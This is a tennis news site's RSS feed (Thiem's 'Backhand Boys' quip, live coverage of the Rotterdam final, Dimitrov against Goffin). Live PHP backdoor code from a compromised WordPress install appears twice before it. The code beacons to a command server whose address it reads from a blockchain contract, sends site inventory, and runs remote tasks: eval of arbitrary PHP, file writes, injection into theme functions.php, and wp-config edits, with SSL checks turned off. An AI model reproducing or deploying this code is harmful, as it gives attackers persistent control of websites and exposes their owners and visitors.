// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Grigor – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 11 Mar 2018 06:27:45 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Grigor – Brief News https://briefnews.eu 32 32 Roger Federer, Grigor Dimitrov and Dominic Thiem to start a boy band – crazy claim https://briefnews.eu/roger-federer-grigor-dimitrov-and-dominic-thiem-to-start-a-boy-band-crazy-claim/ https://briefnews.eu/roger-federer-grigor-dimitrov-and-dominic-thiem-to-start-a-boy-band-crazy-claim/#respond Sun, 11 Mar 2018 06:27:45 +0000 http://briefnews.eu/roger-federer-grigor-dimitrov-and-dominic-thiem-to-start-a-boy-band-crazy-claim/

What all four players have in common is that they can pull of a one-handed backhand and they have been compared ahead of the Indian Masters.

During Thiem’s interview with Tennis Net he was asked if he would consider creating a musical group with his fellow professionals called the Backhand Boys.

But the Austrian laughed off the suggestion by claiming that he cannot sing.

Federer has previously taken part in some light-hearted vocal appearances but it is doubtful he would hang up his racket to pursue such a career.

“I hope no (offer) will come, it would be too embarassing,” Thiem told Tennis Net.

Thiem is through to the third round of the Indian Wells where he is hoping to upset the odds and get to the latter stages.

However, if he does he could come up against the likes of Federer, Marin Cilic or Novak Djokovic.

And the 24-year-old acknowledges that it will not be easy given the quality of potential opponents.

“Besides some big names, almost everybody is here [in Indian Wells], so it’s not going to be easy from the first round onwards,” he added.

“I have to be careful from the beginning.”

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]]> https://briefnews.eu/roger-federer-grigor-dimitrov-and-dominic-thiem-to-start-a-boy-band-crazy-claim/feed/ 0 Roger Federer vs Grigor Dimitrov LIVE: Updates and score from Rotterdam Open final https://briefnews.eu/roger-federer-vs-grigor-dimitrov-live-updates-and-score-from-rotterdam-open-final/ https://briefnews.eu/roger-federer-vs-grigor-dimitrov-live-updates-and-score-from-rotterdam-open-final/#respond Sun, 18 Feb 2018 16:04:58 +0000 http://briefnews.eu/roger-federer-vs-grigor-dimitrov-live-updates-and-score-from-rotterdam-open-final/

ROGER FEDERER WINS THE ROTTERDAM OPEN TITLE

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Roger Federer: “Thank you to ABN AMRO for supporting this tournament.

“The volunteers, the people behind the scenes that you don’t see, they make us very happy here.

“I would like to thank the officials, the linespeople, the umpires and the ball kids.

“I started like this for two years at my home tournament in Basel.

“Always a special thank you to you guys. “That is what inspired me to become a tennis player and I’m still living the dream.

“Hopefully one day I can come back to Rotterdam.

“I’m not sure how many more years I will be playing but I will never forget this week.

“Thank you guys.”

Match action

[* denotes server]

*Roger Federer 6-2 6-2 Grigor Dimitrov – FEDERER WINS THE TITLE

And there we have it! Roger Federer is the Rotterdam Open champion. He pushes Dimitrov well wide before dispatching into open court for 40-15. And he serve-volleys for the victory!

Roger Federer 6-2 5-2 Grigor Dimitrov*

Dimitrov shows some fight with two winners. And then another! Federer nets and Dimitrov wins the game to love. He’s still in this… albeit only just.

*Roger Federer 6-2 5-1 Grigor Dimitrov

Federer is just two games away from his 97th career title. He storms into a 30-0 lead, volleying the first point before forcing Dimitrov into an error for the second.

It’s 40-0 as Dimitrov cannot respond to a forehand. And he finishes off the game coming to the net to dispatch a Dimitrov drop shot.

Roger Federer vs Grigor Dimitrov LIVEGETTY

Roger Federer vs Grigor Dimitrov LIVE updates

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Roger Federer vs Grigor Dimitrov LIVEGETTY

Grigor Dimitrov was broken twice as he lost the first set

Roger Federer 6-2 4-1 Grigor Dimitrov* – BREAK

Two break points for Federer at 15-40 as he swats away a Dimitrov serve. The latter looks beaten here.

Dimitrov saves the first, pushing Federer wide on the backhand from his serve and volleying home. But a double fault secures the break for Federer!

*Roger Federer 6-2 3-1 Grigor Dimitrov

Ah! The best rally of the match is disturbed by a line call. Bad luck for Dimitrov, who had converted a neat volley there. The point is replayed at 15-15… and Dimitrov nets.

Dimitrov then goes long to set up two game points and Federer secures it on the first – opening his body up for a forehand into the corner.

Roger Federer 6-2 2-1 Grigor Dimitrov*

A stinging Federer forehand makes it 30-15 but Dimitrov matches him in the next rally, smashing it away for two game points.

Dimitrov then nets – to the frustration of his coach. Break point Federer… the Swiss nets for deuce. Federer saves one advantage but then goes long on the next. Game Dimitrov.

*Roger Federer 6-2 2-0 Grigor Dimitrov

A long forehand from Dimitrov at 40-15 gifts Federer another game. This is getting away from the Bulgarian now.

Roger Federer 6-2 1-0 Grigor Dimitrov* – BREAK

Oh dear. Dimitrov loses three successive points having been 30-0 up. It’s break point for Federer already.

Dimitrov saves it for deuce – our first of the match. Federer is having none of it though. He wins the next two points to break.

*Roger Federer 6-2 Grigor Dimitrov

And that’s the set! Federer races into a 40-0 lead, loses the first set point but grabs it on the second.

Roger Federer vs Grigor Dimitrov LIVEGETTY

Roger Federer in action today

Roger Federer 5-2 Grigor Dimitrov* – BREAK

Federer works his way to 15-40. He loses the first break point but secures the second as Dimitrov NETS with a forehand.

*Roger Federer 4-2 Grigor Dimitrov

Dimitrov tries to stay in it at 30-15 but a lovely Federer backhand gives the Swiss two game points. A challenge on the baseline comes from Dimitrov but it was in. That’s the game for Federer.

Roger Federer 3-2 Grigor Dimitrov* – BREAK

Dimitrov moves 30-0 up, only for Federer to level. Dimitrov then comes to the net but volleys long. Break point Federer. And there it is! Federer breaks first.

*Roger Federer 2-2 Grigor Dimitrov

Federer moves 40-0 up without breaking sweat. He then plays a deep forehand that Dimitrov cannot reach. And that’s the game.

Roger Federer 1-2 Grigor Dimitrov*

A lovely flat Dimitrov forehand down the line opens the game. An ace makes it 30-0 and Federer cannot return to next serve.

A double fault – his 15th of the week – frustrates Dimitrov. But he eventually dispatches the game.

*Roger Federer 1-1 Grigor Dimitrov

Dimitrov nets when 15-30 ahead, having had a brief glimpse at a break point there. He then goes long on a serve return to make it 40-30. And then again on a Federer second serve. And we’re level.

Roger Federer 0-1 Grigor Dimitrov*

Dimitrov nets with his first serve of the match. And wins the first point with a backhand down the line. Lovely stuff.

A gorgeous passing forehand from Dimitrov wraps up the opening game.

Roger Federer vs Grigor Dimitrov LIVEATP

Roger Federer has one of the best serves on the ATP Tour

Warming up

Federer and Dimitrov are now out on court warming up in Rotterdam. We’ll be underway shortly.

ATP ranking points

So, Roger Federer is already the world No 1 and will officially take the crown off Rafael Nadal when the rankings come out on Monday.

However, there are plenty of points still to play for here! Federer will earn 300 points if he loses the final today – but a victory in the final is valued at 500 points.

That would put him comfortably ahead of Rafael Nadal at the top of the ATP rankings.

Nadal will have the chance to hit back when he plays in Acapulco at the end of the month.

But Federer himself is expected to compete in Dubai, where he could regain ranking points to stay ahead of his rival.

Doubles triumph

The Rotterdam Open doubles final of Pierre-Hugues Herbert and Nicolas Mahut vs Oliver Marach and Mate Pavic is over.

Herbert and Mahut claimed a 2-6, 6-2, 10/7 victory to clinch the ABN AMRO trophy.

This is Mahut’s third Rotterdam title, having previously won it alongside Michael Llodra in 2014 and Vasek Pospisil two years ago.

And that means it’s Federer vs Dimitrov up next!

Big Federer serve

Here’s something Grigor Dimitrov should be wary of today.

Roger Federer’s serve is massive. Over the past 52 weeks, Federer has the third-best serve on tour.

Only John Isner and Ivo Karlovic – two monsters of the serving game – have better stats than Federer for the past year.

Federer has won 92.4 per cent of his service games in the last 52 weeks. Dimitrov has claimed just 85.7 per cent.

Roger Federer vs Grigor Dimitrov liveGETTY

Roger Federer’s serve has been a major asset at the Rotterdam Open this week

15 minutes until start

Roger Federer and Grigor Dimitrov are in the area getting ready for today’s final.

Remember, Federer vs Dimitrov is scheduled to start at 2.30pm UK time.

Federer injury concerns?

There were concerns yesterday that Roger Federer may be carrying an injury at the Rotterdam Open.

Former American tennis star Peter Fleming admitted he was wary of Federer’s movement – and that something didn’t quite look right

“As good as Federer is feeling, I don’t know if he’s moving as well as I expected,” Fleming said.

“I wonder if he is really feeling 100 per cent physically.

“He’s moving great, don’t get me wrong. “But last year when he was taken out wide to the forehand he would slide out wide to that ball and still get over it.

“He doesn’t seem to want to make such an ambitious move at this point.”

Roger Federer vs Grigor Dimitrov LIVEGETTY

Grigor Dimitrov heads into this final seeking a first ever win over Roger Federer

Federer loves the Winter Olympics

Roger Federer will have been up early in Rotterdam today to prepare for his final with Grigor Dimitrov.

But make no mistake, he’ll be back in front of the TV later whether he wins or loses in this final.

Federer is a Winter Olympics fanatic and reports in Switzerland yesterday claim he watches four hours of highlights each day.

He has been regularly tweeting his compatriots competing in South Korea, congratulating them on their performances and medals.

Grigor Dimitrov previews final

Bulgarian Grigor Dimitrov admitted he was lucky to move into the Rotterdam Open final after his opponent David Goffin withdrew injured.

The ball flew off Goffin’s racket and into his eye, forcing the Belgian to retire early in the second set.

”We had such a great battle,” Dimitrov said.

“Playing David always excites me and I always like to compete against him… just very unfortunate today.”

On the final, he said: “Every match I have progressed and felt better and better. Today in the first set I felt I was in a different rhythm of my game, a bit more stable and focused.

“I had more authority on my shots. For tomorrow’s match it’s not going to be any different.

“Of course my goal is to win and at the same time make sure I can raise the bar higher.

“To do that I just need to keep on going the same way I have been practising.”

Roger Federer vs Grigor Dimitrov LIVEGETTY

Roger Federer is targeting a 97th career title

Roger Federer speaks out

Ahead of today’s match, Roger Federer admitted he struggled in the early stages of his semi-final with Andreas Seppi.

“I felt OK today, maybe a bit heavy on court but I was aggressive,” he said.

“I started finding energy midway through the first set, but the start was tough.

“I’m good – it’s not been a tough week physically, maybe a bit harder emotionally.

“I hope to play one more good match and that’s it for the week.”

Roger Federer awarded trophy after becoming oldest world No 1

Sat, February 17, 2018

Roger Federer has been awarded with a special trophy for becoming the oldest world No 1 in tennis history

Switzerland's Roger Federer poses with t

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Roger Federer poses with a special trophy after becoming the oldest world No 1 in tennis history

Roger Federer vs Grigor Dimitrov head to head

Sadly for Dimitrov fans, this head to head does not make good reading.

has beaten Dimitrov in all six of their previous meetings.

That includes five times on hard courts, while their last meeting was at Wimbledon in 2017.

Federer beat Dimitrov in three sets at SW19 as he careered to the Grand Slam title.

Dimitrov has only ever taken two sets off Federer but has looked in good form during the Rotterdam Open this week.

Welcome

Hello and welcome to our live coverage of Roger Federer vs Grigor Dimitrov.

This is the Rotterdam Open final organisers dreamed of.

It’s first-seed and world No 1 Federer against second-seed Dimitrov on the indoor hard court this afternoon.

The match starts at 2.30pm and we will have all the action brought to you right here.

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]]> https://briefnews.eu/roger-federer-vs-grigor-dimitrov-live-updates-and-score-from-rotterdam-open-final/feed/ 0 Grigor Dimitrov seals CONTROVERSIAL David Goffin win to take ATP World Tour Finals title https://briefnews.eu/grigor-dimitrov-seals-controversial-david-goffin-win-to-take-atp-world-tour-finals-title/ https://briefnews.eu/grigor-dimitrov-seals-controversial-david-goffin-win-to-take-atp-world-tour-finals-title/#respond Sun, 19 Nov 2017 23:37:42 +0000 http://briefnews.eu/grigor-dimitrov-seals-controversial-david-goffin-win-to-take-atp-world-tour-finals-title/

Grigor Dimitrov beat David Goffin at ATP World Tour FinalsGETTY

Grigor Dimitrov beat David Goffin at ATP World Tour Finals

Dimitrov had beaten Goffin earlier in the week for the loss of just two games and came in as a heavy favourite, with Bulgarian flags far outnumbering Belgian ones in the arena to cast his opponent as a clear underdog.

However, Goffin had beaten Rafael Nadal and Roger Federer on his way to the final and was brimming with confidence.

